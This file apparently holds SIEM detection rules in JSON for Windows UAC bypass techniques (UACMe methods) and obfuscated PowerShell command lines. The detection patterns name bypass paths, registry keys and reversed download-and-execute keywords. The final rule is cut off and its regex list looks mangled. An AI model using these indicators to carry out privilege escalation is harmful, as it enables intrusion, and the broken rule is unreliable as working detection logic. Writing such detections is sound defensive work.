{"description": "Detects the pattern of UAC Bypass using a WoW64 logger DLL hijack (UACMe 30)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a329d3b3-aeae-3694-554d-abb2d63e73ee", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Using WOW64 Logger DLL Hijack", "query": "(process.executable.text:*\\:\\\\Windows\\\\SysWOW64\\\\* AND winlog.event_data.GrantedAccess:\"0x1fffff\" AND winlog.event_data.CallTrace:UNKNOWN\$0000000000000000\$|UNKNOWN\$0000000000000000\$|*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the pattern of UAC Bypass using computerdefaults.exe (UACMe 59)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a91e4fc8-afde-27d9-8952-410e32149797", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Using ComputerDefaults", "query": "((IntegrityLevel:(\"High\" OR \"System\") AND process.executable:\"C\\:\\\\Windows\\\\System32\\\\ComputerDefaults.exe\") AND (NOT (process.parent.executable:(*\\:\\\\Windows\\\\System32* OR *\\:\\\\Program\\ Files*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "801d396a-6c8a-2bf4-27c9-5a4ee9077ac3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Using Consent and Comctl32 - File", "query": "(file.path.text:C\\:\\\\Windows\\\\System32\\\\consent.exe.@* AND file.path.text:*\\\\comctl32.dll)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ba1d9198-3ebb-69bc-29ed-2f26ccf0dc3a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Using Consent and Comctl32 - Process", "query": "(process.parent.executable.text:*\\\\consent.exe AND process.executable.text:*\\\\werfault.exe AND IntegrityLevel:(\"High\" OR \"System\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the pattern of UAC Bypass using DismHost DLL hijacking (UACMe 63)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "268f0a68-553b-6937-b824-5857fd070968", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Using DismHost", "query": "(process.parent.executable.text:*C\\:\\\\Users\\\\* AND process.parent.executable.text:*\\\\AppData\\\\Local\\\\Temp\\\\* AND process.parent.executable.text:*\\\\DismHost.exe* AND IntegrityLevel:(\"High\" OR \"System\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the pattern of UAC Bypass using ICMLuaUtil Elevated COM interface", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2dc4f689-5d61-789e-fdaf-8844df9b78b2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass via ICMLuaUtil", "query": "((process.parent.executable.text:*\\\\dllhost.exe AND process.parent.command_line.text:(*\\/Processid\\:\\{3E5FC7F9\\-9A51\\-4367\\-9063\\-A120244FBEC7\\}* OR *\\/Processid\\:\\{D2E7041B\\-2927\\-42FB\\-8E9F\\-7CE93B6DC937\\}*)) AND (NOT (process.executable.text:*\\\\WerFault.exe OR winlog.event_data.OriginalFileName:\"WerFault.exe\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "42bdd72f-8604-fc90-42ad-dff1a8acfd24", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Using IEInstal - Process", "query": "(IntegrityLevel:(\"High\" OR \"System\") AND process.parent.executable.text:*\\\\ieinstal.exe AND process.executable.text:*\\\\AppData\\\\Local\\\\Temp\\\\* AND process.executable.text:*consent.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9f7d4d86-db92-2c8e-df71-2eced9392c03", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Using IEInstal - File", "query": "(process.executable.text:\"C\\:\\\\Program\\ Files\\\\Internet\\ Explorer\\\\IEInstal.exe\" AND file.path.text:C\\:\\\\Users\\\\* AND file.path.text:*\\\\AppData\\\\Local\\\\Temp\\\\* AND file.path.text:*consent.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b43048ac-deb2-db64-aee8-f1f9b10ea4f8", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Using NTFS Reparse Point - File", "query": "(file.path.text:C\\:\\\\Users\\\\* AND file.path.text:*\\\\AppData\\\\Local\\\\Temp\\\\api\\-ms\\-win\\-core\\-kernel32\\-legacy\\-l1.DLL)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "be89d844-a59b-88b4-c1f4-11920e5f18e2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Using NTFS Reparse Point - Process", "query": "(IntegrityLevel:(\"High\" OR \"System\") AND ((process.command_line.text:\\\"C\\:\\\\Windows\\\\system32\\\\wusa.exe\\\"\\ \\ \\/quiet\\ C\\:\\\\Users\\\\* AND process.command_line.text:*\\\\AppData\\\\Local\\\\Temp\\\\update.msu) OR (process.parent.command_line.text:\"\\\"C\\:\\\\Windows\\\\system32\\\\dism.exe\\\"\\ \\/online\\ \\/quiet\\ \\/norestart\\ \\/add\\-package\\ \\/packagepath\\:\\\"C\\:\\\\Windows\\\\system32\\\\pe386\\\"\\ \\/ignorecheck\" AND process.command_line.text:*C\\:\\\\Users\\\\* AND process.command_line.text:*\\\\AppData\\\\Local\\\\Temp\\\\* AND process.command_line.text:*\\\\dismhost.exe\\ \\{* AND process.executable.text:*\\\\DismHost.exe)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the pattern of UAC Bypass using pkgmgr.exe and dism.exe (UACMe 23)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8b63a8f8-2a92-5b27-a31f-b0284b82adcb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Using PkgMgr and DISM", "query": "(process.parent.executable.text:*\\\\pkgmgr.exe AND process.executable.text:*\\\\dism.exe AND IntegrityLevel:(\"High\" OR \"System\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the pattern of UAC Bypass using registry key manipulation of sdclt.exe (e.g. UACMe 53)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "45bcc19f-e224-f5d4-c4c7-fce2efc12795", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass via Sdclt", "query": "(winlog.event_data.EventType:\"SetValue\" AND (winlog.event_data.TargetObject:*Software\\\\Classes\\\\exefile\\\\shell\\\\runas\\\\command\\\\isolatedCommand OR (winlog.event_data.TargetObject:*Software\\\\Classes\\\\Folder\\\\shell\\\\open\\\\command\\\\SymbolicLinkValue AND winlog.event_data.Details:*\\-1???\\\\Software\\\\Classes\\\\*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Omer Yampel", "Christian Burkard"], "license": ""}
{"description": "Detects the pattern of UAC Bypass using scheduled tasks and variable expansion of cleanmgr.exe (UACMe 34)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b43d3aab-808a-2eab-6b77-98d02cc9fa9e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Using Disk Cleanup", "query": "(process.command_line.text:*\\\"\\\\system32\\\\cleanmgr.exe\\ \\/autoclean\\ \\/d\\ C\\: AND process.parent.command_line.text:\"C\\:\\\\Windows\\\\system32\\\\svchost.exe\\ \\-k\\ netsvcs\\ \\-p\\ \\-s\\ Schedule\" AND IntegrityLevel:(\"High\" OR \"System\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5537e985-481c-6dec-8e66-c140ab03ac9b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Using Windows Media Player - File", "query": "((file.path.text:C\\:\\\\Users\\\\* AND file.path.text:*\\\\AppData\\\\Local\\\\Temp\\\\OskSupport.dll) OR (process.executable.text:\"C\\:\\\\Windows\\\\system32\\\\DllHost.exe\" AND file.path.text:\"C\\:\\\\Program\\ Files\\\\Windows\\ Media\\ Player\\\\osk.exe\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a1b76e6b-842d-d767-3d83-367a91139aee", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Using Windows Media Player - Process", "query": "(IntegrityLevel:(\"High\" OR \"System\") AND (process.executable.text:\"C\\:\\\\Program\\ Files\\\\Windows\\ Media\\ Player\\\\osk.exe\" OR (process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\cmd.exe\" AND process.parent.command_line.text:\"\\\"C\\:\\\\Windows\\\\system32\\\\mmc.exe\\\"\\ \\\"C\\:\\\\Windows\\\\system32\\\\eventvwr.msc\\\"\\ \\/s\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4e8dd971-e999-618e-0134-64f5830b16ce", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Using Windows Media Player - Registry", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility\\ Assistant\\\\Store\\\\C\\:\\\\Program\\ Files\\\\Windows\\ Media\\ Player\\\\osk.exe AND winlog.event_data.Details:\"Binary\\ Data\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the pattern of UAC Bypass via WSReset usable by default sysmon-config", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8978b5fe-0dab-4af0-e654-46424011dabf", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass WSReset", "query": "(process.executable:*\\\\wsreset.exe AND IntegrityLevel:(\"High\" OR \"System\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the pattern of UAC Bypass via WSReset usable by default sysmon-config", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8978b5fe-0dab-4af0-e654-46424011dabf", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass WSReset", "query": "(process.executable.text:*\\\\wsreset.exe AND IntegrityLevel:(\"High\" OR \"System\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the PowerShell command lines with reversed strings", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "00a5c20e-8c37-be03-a646-4fb32dbd11e2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious PowerShell Cmdline", "query": "((process.executable:(*powershell.exe OR *pwsh.exe) AND process.command_line:(*hctac* OR *kaerb* OR *dnammoc* OR *ekovn* OR *eliFd* OR *rahc* OR *etirw* OR *golon* OR *tninon* OR *eddih* OR *tpircS* OR *ssecorp* OR *llehsrewop* OR *esnopser* OR *daolnwod* OR *tneilCbeW* OR *tneilc* OR *ptth* OR *elifotevas* OR *46esab* OR *htaPpmeTteG* OR *tcejbO* OR *maerts* OR *hcaerof* OR *ekovni* OR *retupmoc*)) AND (NOT ((process.command_line:*\\-EncodedCommand*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov (idea)", "Vasiliy Burov (rule)", "oscd.community", "Tim Shelton"], "license": ""}
{"description": "Detects the PowerShell command lines with special characters", "author": ["Teymur Kheirkhabarov (idea)", "Vasiliy Burov (rule)", "oscd.community", "Tim Shelton (fp)"], "enabled": false, "false_positives": ["Unlikely", "Amazon SSM Document Worker", "Windows Defender ATP"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cc724689-7cc5-061f-3de5-279736ca543f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious PowerShell Command Line", "query": "(((((process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND (process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/+/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/+/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/+/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/+/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/+/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/+/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/+/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/+/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/+/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/+/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/+/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/+/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/+/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/+/ OR process.command_line.text:/./ OR process.command_line.text:/*/))) OR ((process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND (process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/{/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/{/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/{/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/{/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/{/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/{/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/{/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/{/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/{/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/{/ OR process.command_line.text:/./ OR process.command_line.text:/*/))) OR ((process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND (process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/{/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/{/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/{/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/{/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/{/ OR process.command_line.text:/./ OR process.command_line.text:/*/))) OR ((process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND (process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/^/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/^/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/^/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/^/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/^/ OR process.command_line.text:/./ OR process.command_line.text:/*/))) OR 